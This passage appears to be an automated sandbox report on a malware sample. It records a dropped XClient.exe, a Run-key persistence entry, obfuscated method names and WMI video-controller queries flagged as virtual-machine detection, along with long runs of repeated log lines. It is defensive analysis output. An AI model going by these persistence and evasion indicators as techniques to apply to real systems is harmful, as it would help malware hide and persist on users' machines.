'vc5eaqbULMrxriBeLuoTVUFeHgpqjuyUIaXdozP3HbzaXNvFIc3Kv5QOvrcCBnDD8Q9yuZKC', 'fi9xL1d5NcWF1GQwmIQGbvvDjY6O2CymMOTTmKPfi70KI6CSXuezd1ZaOU1C2uvsxGZ2WdWA'
Source: test.3.dr, baAfO6eh57uwRmfnb9ZgPW9GNd4C97yj82jLx.cs	High entropy of concatenated method names: 'FBNWljJUfRUOQHV8w5kXnivtFfvihr87V8fij', 'N3N7JwtMFIURW87Zd2HVZbIbG2Q4tHwh7ikej', 'B1UsqK3BpYtoo55elNJEb53GS0C4BTaQIZ5tg', 'C3gBLcFNJkCIB1aPhj8TVcFd5wa1qnkOytGkR', 'BAGercQozNU5ll1', 'pRsXO6M11LhQJ3Z', 'Nq9kdMsCokUEqhC', 'd1u9xj5WdnTP5q4', 'ZbkiMGaXA1UyJwz', 'Q6h2sNWLeb5UmQd'
Source: test.3.dr, g1kPeRidOFWh0Mq0MDiiGrVS0VQoWjR9LoOiyyxhvEYhDnS1Y9nkoDD.cs	High entropy of concatenated method names: 'VnAbJoODtKisVBy9SiAIENlKxEhUXgX5exiB0QuqHxt3MeL1rBy2ZHl', 'hJNjb4ACG8m4LfFcFRQjlBemGYSGdLPOEu7AYsUVsI7TepYX5Tkm4Ni', 'frdyR57Y6gjgHH6VYoE4cGWT18oMjkhMpPM7cmtLYYrpt7wbAjPlIBQ', 'F5xEhnU7hl63oMlEZHMcn6Z4CMCSXdu1JkErNy5VoL1c5MmezBZcNTd', 'knQWD1iJeZD4eh2UfLwfytZY6rKYONhSvAjwI1VBf1TTI8xso3fziEu', 'rlVmKVaYfaOVfbWEp6E4ycLl1rYNf1bPNFqIkwFcXFmjurhdWDVS6im', 'Zg7qxS2XBZEHkisBbnADmlyURQPPxnIoCknLJAvG6qTarGhqaBU6FvS', '_7FjPXkphe9XxFusoxlK3MnQKjdzdH35wPynMUWyVOZpzWXnDcZJ6GPj', 'oaqFOrYjheWUMIioTDwW7rlNwzqvkjyLfRtEhry6VtTmB6xuu4DnUlH', 'mTgs5zCxmvC3ex4IJ6KG98hIFiEmIrZ0ORzsxAt6gxuObw7gQGiQSDX'
Source: test.3.dr, xuigMhegpDWb7LyFrukanLGTDbKK1mTJMDADPB9Vz5qijEgBZbzo72QwF7mNBkuarMQ9LipLOQXs5xBkPhs96tO.cs	High entropy of concatenated method names: 'fk5LEgK7V2M3Hd149MjNFpfBZMY7yDzfMnatgVqrXr4zOIYIMEuPC2meTY0zUtUnnhnWwc2PlydoWivaE2lUSNV', 'QdgYZBpeJQLNoNPSSSpUt0LD2lSaP3SuPdDmPNzFBNaIb5s', 'aPs5pNPwlUAmCT43hITfLsEFpH21qsblBeCsZhyHWyhyOzY', 'ZqNDMvGPRADzq7RjcJkjZlJ34C3ar2ptOVzBZgPJC7276VL', 'iFkpACBewAllh3bnBTSG0AtnPyVKhvaNVXyFYyIyFdqy923'

Source: C:\Users\user\AppData\Local\Temp\XClient.exe	File created: C:\Users\user\AppData\Local\Temp\test			Jump to dropped file
Source: C:\Users\user\Desktop\test2.exe.bin.exe	File created: C:\Users\user\AppData\Local\Temp\XClient.exe			Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\XClient.exe

File created: C:\Users\user\AppData\Local\Temp\test

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run test			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run test			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\test2.exe.bin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\test2.exe.bin.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\OpenWith.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\OpenWith.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\OpenWith.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\OpenWith.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\OpenWith.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
